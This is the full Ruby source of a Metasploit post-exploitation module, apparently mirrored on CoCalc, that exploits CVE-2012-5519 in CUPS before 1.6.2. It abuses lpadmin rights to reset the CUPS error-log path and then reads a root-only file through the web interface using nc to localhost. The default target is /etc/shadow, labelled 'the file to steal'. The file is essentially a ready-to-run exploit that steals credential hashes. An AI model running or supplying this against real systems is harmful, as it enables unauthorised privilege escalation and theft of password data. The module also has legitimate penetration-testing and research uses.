CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/escalate/cups_root_file_read.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
LP_GROUPS = ['lpadmin', '_lpadmin']
10
11
attr_accessor :web_server_was_disabled, :error_log_was_reset
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
{
18
'Name' => 'CUPS 1.6.1 Root File Read',
19
'Description' => %q{
20
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
21
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
22
configuration, which can specify an Error Log path. When the user visits the
23
Error Log page in the web interface, the cupsd daemon (running with setuid root)
24
reads the Error Log path and echoes it as plaintext.
25
26
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
27
as long as the session is in the lpadmin group.
28
29
Warning: if the user has set up a custom path to the CUPS error log,
30
this module might fail to reset that path correctly. You can specify
31
a custom error log path with the ERROR_LOG datastore option.
32
},
33
'References' => [
34
['CVE', '2012-5519'],
35
['OSVDB', '87635'],
36
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
37
],
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'Jann Horn', # discovery
41
'joev' # metasploit module
42
],
43
'DisclosureDate' => '2012-11-20',
44
'Platform' => %w[linux osx]
45
}
46
)
47
)
48
register_options([
49
OptString.new('FILE', [true, 'The file to steal.', '/etc/shadow']),
50
OptString.new('ERROR_LOG',
51
[true, 'The original path to the CUPS error log', '/var/log/cups/error_log'])
52
])
53
end
54
55
def check_exploitability
56
user = cmd_exec('whoami')
57
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
58
if (user_groups & LP_GROUPS).empty?
59
print_error 'User not in lpadmin group.'
60
return Msf::Exploit::CheckCode::Safe
61
else
62
print_good 'User in lpadmin group, continuing...'
63
end
64
65
if ctl_path.blank?
66
print_error 'cupsctl binary not found in $PATH'
67
return Msf::Exploit::CheckCode::Safe
68
else
69
print_good 'cupsctl binary found in $PATH'
70
end
71
72
nc_path = whereis('nc')
73
if nc_path.nil? || nc_path.blank?
74
print_error 'Could not find nc executable'
75
return Msf::Exploit::CheckCode::Unknown
76
else
77
print_good 'nc binary found in $PATH'
78
end
79
80
config_path = whereis('cups-config')
81
config_vn = nil
82
83
if config_path.nil? || config_path.blank?
84
# cups-config not present, ask the web interface what vn it is
85
output = get_request('/')
86
if output =~ /title.*CUPS\s+([\d.]+)/i
87
config_vn = ::Regexp.last_match(1).strip
88
end
89
else
90
config_vn = cmd_exec('cups-config --version').strip # use cups-config if installed
91
end
92
93
if config_vn.nil?
94
print_error 'Could not determine CUPS version.'
95
return Msf::Exploit::CheckCode::Unknown
96
end
97
98
print_status "Found CUPS #{config_vn}"
99
100
config_parts = config_vn.split('.')
101
if (config_vn.to_f < 1.6) || ((config_vn.to_f <= 1.6) && (config_parts[2].to_i < 2)) # <1.6.2
102
Msf::Exploit::CheckCode::Vulnerable
103
else
104
Msf::Exploit::CheckCode::Safe
105
end
106
end
107
108
def run
109
if check_exploitability == Msf::Exploit::CheckCode::Safe
110
print_error 'Target machine not vulnerable, bailing.'
111
return
112
end
113
114
defaults = cmd_exec(ctl_path)
115
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
116
117
# first we set the error log to the path intended
118
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
119
cmd_exec("#{ctl_path} WebInterface=yes")
120
@error_log_was_reset = true
121
122
# now we go grab it from the ErrorLog route
123
file = strip_http_headers(get_request('/admin/log/error_log'))
124
125
# and store as loot
126
f = File.basename(datastore['FILE'])
127
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
128
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
129
end
130
131
def cleanup
132
print_status 'Cleaning up...'
133
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
134
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
135
super
136
end
137
138
private
139
140
def prev_error_log_path
141
datastore['ERROR_LOG']
142
end
143
144
def ctl_path
145
@ctl_path ||= whereis('cupsctl')
146
end
147
148
def strip_http_headers(http)
149
http.gsub(/\A(^.*\r\n)*/, '')
150
end
151
152
def whereis(exe)
153
line = cmd_exec("whereis #{exe}")
154
if line =~ /^\S+:\s*(\S*)/i
155
::Regexp.last_match(1) # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
156
else
157
line # on osx it just returns '/usr/sbin/cupsctl'
158
end
159
end
160
161
def get_request(uri)
162
output = perform_request(uri, 'nc -j localhost 631')
163
164
if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/
165
output = perform_request(uri, 'nc localhost 631')
166
end
167
168
output
169
end
170
171
def perform_request(uri, nc_str)
172
# osx requires 3 newlines!
173
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
174
end
175
end
176
177